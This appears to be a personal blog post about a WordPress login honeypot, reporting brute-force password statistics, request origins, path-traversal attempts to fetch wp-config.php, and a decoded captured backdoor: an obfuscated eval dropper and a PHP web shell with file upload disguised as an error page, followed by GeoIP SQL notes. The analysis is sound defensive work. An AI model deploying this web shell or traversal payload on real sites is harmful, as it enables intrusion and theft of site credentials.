Wordpress honeypottery
Updated at by ospiAfter getting some inbound traffic in early 2015 and seeing the daily visitors balloon from 1 to 3ish along came the bots lusting for Fckeditor
and phpMyAdmin
. Paths like /wp-admin/
and wp-login.php
and their variants also popped up in awstats.
Somebody must have tipped off the böts(!) so I decided to whip up a low effort "honeypot" to see what they're up to.
Wordpress login page in a jiffy
I inlined most of the resources of a Wordpress login so it should look legit for a böt and created a simple rewrite
RewriteCond %{REQUEST_URI} "wp-login\.php|\/wp-admin\/|wp-content"
RewriteRule .* wp-login.php
So one can use it from here https://ospi.netcode.fi/blog/wp-admin/ or https://ospi.netcode.fi/blog/wp-login.php etc. It's sole function is to respond to HEAD and log data of POST/PUT/DELETE.
Some results of the login trials
A total of 13k POSTs landed on the login page since 2015-10-01.
Top 20 passwords
+-----------------+-----+
| password | cnt |
+-----------------+-----+
| admin | 140 |
| administrator | 111 |
| ospi.netcode.fi | 33 |
| michael | 31 |
| qwerty | 31 |
| 12345 | 30 |
| 1234567 | 30 |
| 123456 | 30 |
| password | 30 |
| 12345678 | 29 |
| 123123 | 28 |
| iloveyou | 27 |
| password1 | 27 |
| 111111 | 27 |
| master | 27 |
| 1234567890 | 26 |
| dragon | 26 |
| letmein | 26 |
| 1234 | 25 |
| trustno1 | 25 |
+-----------------+-----+
20 rows in set (0.00 sec)
Top 8 usernames
+-----------------+------+
| login | cnt |
+-----------------+------+
| admin | 4647 |
| ospi | 3352 |
| ospi.netcode.fi | 3012 |
| netcode | 727 |
| ospi's | 727 |
| test | 365 |
| ode | 356 |
| administrator | 108 |
+-----------------+------+
8 rows in set (0.00 sec)
Some findings in the passwords (13 000 in total)
- password included a part of the domain or page title : 1200
- password containing just admin or admin appended with qwerty-patterns, numbers : 650
- username and password combos starting with cut version of domain "netcode.fi" resulting in "ode" or "ode.fi" : 400
- dictionary words, forenames, cities, countries, popular brands (toys, cars, bands, games) : 8700
- only numbers : 1500
A sample from login + passwords :
...
| admin | marlboro |
| admin | fisch |
| admin | undertaker |
| admin | marseille |
| admin | schnuffi |
| admin | rebecca |
| admin | marianne |
| admin | pauline |
| admin | rammstein |
...
Origins of requests
UA emerged as champion in number of requests and derp_index (requests per IP addresses allocated to country code)
+-------------+-------+------------------+------------+
| country_iso | cnt | country_ip_count | derp_index |
+-------------+-------+------------------+------------+
| UA | 14285 | 11725181 | 1.2183 |
| RS | 59 | 2242890 | 0.0263 |
| PH | 94 | 5499787 | 0.0171 |
| HK | 171 | 12361918 | 0.0138 |
| SE | 350 | 27315083 | 0.0128 |
| PK | 61 | 5319837 | 0.0115 |
| RO | 74 | 9077915 | 0.0082 |
| IN | 324 | 41618265 | 0.0078 |
| KR | 877 | 112645930 | 0.0078 |
| MY | 51 | 6638460 | 0.0077 |
| FR | 421 | 82824865 | 0.0051 |
| FI | 68 | 13686043 | 0.0050 |
| PL | 78 | 20779570 | 0.0038 |
| RU | 170 | 45751379 | 0.0037 |
| ID | 61 | 17893051 | 0.0034 |
+-------------+-------+------------------+------------+
15 rows in set (4.24 sec)
Number of requests
+-------------+-------+
| country_iso | cnt |
+-------------+-------+
| UA | 14285 |
| US | 1142 |
| KR | 877 |
| FR | 421 |
| SE | 350 |
| IN | 324 |
| HK | 171 |
| RU | 170 |
| GB | 134 |
| CN | 126 |
| PH | 94 |
| BR | 89 |
| DE | 86 |
| PL | 78 |
| RO | 74 |
+-------------+-------+
15 rows in set (0.00 sec)
Exploits against themes or plugins
With no exception all of them tried to use some sort of downloading script included with the theme or plugin. Like this:
/blog/wp-content/themes/antioch/lib/scripts/download.php?file=../../../../../wp-config.php
Every request tried to download wp-config.php
. Following tables only contain number of tries and name part of path. For plugins :
+-----+-------------------------------------------------+
| cnt | name |
+-----+-------------------------------------------------+
| 10 | ajax-store-locator-wordpress_0 |
| 8 | google-mp3-audio-player |
| 6 | db-backup |
| 6 | justified-image-grid |
| 5 | history-collection |
| 5 | s3bubble-amazon-s3-html-5-video-with-adverts |
| 4 | wp-filemanager |
| 4 | tinymce-thumbnail-gallery |
| 4 | pica-photo-gallery |
| 4 | dukapress |
| 4 | plugin-newsletter |
| 4 | simple-download-button-shortcode |
| 3 | filedownload |
| 3 | ibs-mappro |
| 2 | sell-downloads |
| 2 | aspose-doc-exporter |
| 2 | mdc-youtube-downloader |
| 2 | paypal-currency-converter-basic-for-woocommerce |
| 2 | wp-ecommerce-shop-styling |
| 2 | contus-video-gallery |
| 1 | ajax-store-locator-wordpress |
| 1 | aspose-importer-exporter |
| 1 | se-html5-album-audio-player |
| 1 | hb-audio-gallery-lite |
| 1 | recent-backups |
| 1 | wp-miniaudioplayer |
| 1 | ebook-download |
+-----+-------------------------------------------------+
27 rows in set (0.01 sec)
And for themes
+-----+-----------------------+
| cnt | name |
+-----+-----------------------+
| 13 | churchope |
| 13 | lote27 |
| 13 | mTheme-Unus |
| 11 | authentic |
| 11 | linenity |
| 11 | epic |
| 11 | urbancity |
| 11 | antioch |
| 10 | trinity |
| 10 | MichaelCanthony |
| 10 | SMWF |
| 10 | TheLoft |
| 10 | acento |
| 10 | felis |
| 8 | markant |
| 8 | yakimabait |
| 7 | parallelus-salutation |
| 5 | parallelus-mingle |
| 5 | Newspapertimes_1 |
| 4 | NativeChurch |
| 3 | corporate_works |
| 3 | jarida |
| 3 | tess |
| 3 | ypo-theme |
| 2 | estrutura-basica |
| 1 | FR0_theme |
| 1 | twentyeleven |
+-----+-----------------------+
27 rows in set (0.01 sec)
Bonus content : backdoor installation
Installation was targeted at a login_wall.php
with a following POST request. Parameters varied but the logic remained the same.
POST /wp-content/plugins/Login-wall-etgFB/login_wall.php?login=cmd&z3=Y29uZmlnYmFja3MucGhw&z4=L3dwLWNvbnRlbnQvcGx1Z2lucy8%3d
Post data contained two plaintext values coco
and z9
. z0
which was base64 encoded and z2
which was url encoded (saving the percents) and two base64 encoded GET parameters z3
and z4
. These translated into :
"coco":"@eval\/**\/(${'_P'.'OST'}[z9]\/**\/(${'_POS'.'T'}[z0]));"
"z9":"BaSE64_dEcOdE"
"z3":"configbacks.php" or "wp-footers.php"
"z4":"/wp-content/plugins/7"
z0
was base64 encoded and decoded into :
@ini_set("display_errors", "0");
@set_time_limit(0);
@set_magic_quotes_runtime(0);
$npath = $_SERVER['DOCUMENT_ROOT'] . BaSE64_dEcOdE($_GET['z4']);
function createFolder($path) {
if (!file_exists($path)) {
createFolder(dirname($path));
mkdir($path, 0777);
}
}
createFolder($npath);
echo("->|");
;
$c = $_POST["z2"];
$f = $npath . BaSE64_dEcOdE($_GET["z3"]);
$c = str_replace("\r", "", $c);
$c = str_replace("\n", "", $c);
$buf = "";
for ($i = 0; $i < strlen($c); $i+=2)
$buf.=urldecode("%" . substr($c, $i, 2));
echo(@fwrite(fopen($f, "w"), $buf) ? "1" : "0");
echo("|<-");
die();
Which in turn url decoded the z2
with the intent of writing it into a file given in the z3
<i><!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>500 Internal Server Error</title>
</head><body>
<h1>Internal Server Error</h1>
<p>The server encountered an internal error or
misconfiguration and was unable to complete
your request.</p>
<p>Additionally, a 500 root@Internal.root Internal Server Error
error was encountered while trying to use an ErrorDocument to handle the request.</p>
</body></html>
<?php
$Krpk = $_GET['ing'];
if($Krpk == 'lie') {
$mujj = $_POST['Yjsa4'];
if ($mujj!="") {
$xsser=base64_decode($_POST['z0']);
@eval("\$safedg = $xsser;");
}
{
$filename = $_FILES['file']['name'];
$filetmp = $_FILES['file']['tmp_name'];
echo "<form method='POST' enctype='multipart/form-data'>
<input type='file'name='file' />
<input type='submit' value='go' />
</form>";
if(move_uploaded_file($filetmp,$filename)=='1');
}
}
?>
THAT'S SOME PRETTY AWESOME OBFUSCATION AND BACKDOOR INSTALLATION RIGHT THERE!!! :D
Random notes : GeoIP CSV to MySQL
Create tables
CREATE TABLE `block` (
`id` int(10) unsigned NOT NULL AUTO_INCREMENT,
`cidr` varchar(50) COLLATE utf8_swedish_ci DEFAULT NULL,
`geoname_id` int(10) unsigned DEFAULT NULL,
`ip_lower` int(10) unsigned DEFAULT NULL,
`ip_upper` int(10) unsigned DEFAULT NULL,
`poly` POLYGON DEFAULT NULL,
PRIMARY KEY (`id`),
KEY `ip` (`ip_lower`,`ip_upper`)
) ENGINE=MyISAM
Load CSV into block
table
LOAD DATA INFILE 'GeoLite2-City-Blocks-IPv4.csv' INTO TABLE block FIELDS TERMINATED BY ',' IGNORE 1 LINES (cidr, geoname_id)"
Update ip_upper and ip_lower columns by parsing the CIDR
UPDATE block SET ip_lower=INET_ATON( SUBSTRING_INDEX(cidr, '/', 1)) & 0xffffffff ^ ((0x1 << ( 32 - SUBSTRING_INDEX(cidr, '/', -1))) -1 ),ip_upper=INET_ATON( SUBSTRING_INDEX(cidr, '/', 1))|((0x100000000 >> SUBSTRING_INDEX(cidr, '/', -1) ) -1 );
Create rectangles from the ip addresses
UPDATE block SET poly=Polygon(LineString(Point(ip_lower,-1),Point(ip_upper,-1),Point(ip_upper,1),Point(ip_lower,+1),Point(ip_lower,-1)))
Create a SPATIAL INDEX
ALTER TABLE block ADD SPATIAL INDEX poly(poly)
Location table
CREATE TABLE `location` (
`id` int(10) unsigned NOT NULL,
`locale` char(2) COLLATE utf8_swedish_ci DEFAULT NULL,
`continent` char(2) COLLATE utf8_swedish_ci DEFAULT NULL,
`continent_name` varchar(50) COLLATE utf8_swedish_ci DEFAULT NULL,
`country_iso` char(2) COLLATE utf8_swedish_ci DEFAULT NULL,
`country_name` varchar(50) COLLATE utf8_swedish_ci DEFAULT NULL,
PRIMARY KEY (`id`),
KEY `country_iso` (`country_iso`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8 COLLATE=utf8_swedish_ci
And load data
LOAD DATA INFILE 'GeoLite2-City-Locations-en.csv' INTO TABLE location FIELDS TERMINATED BY ',' IGNORE 1 LINES (id,locale,continent,continent_name,country_iso,country_name)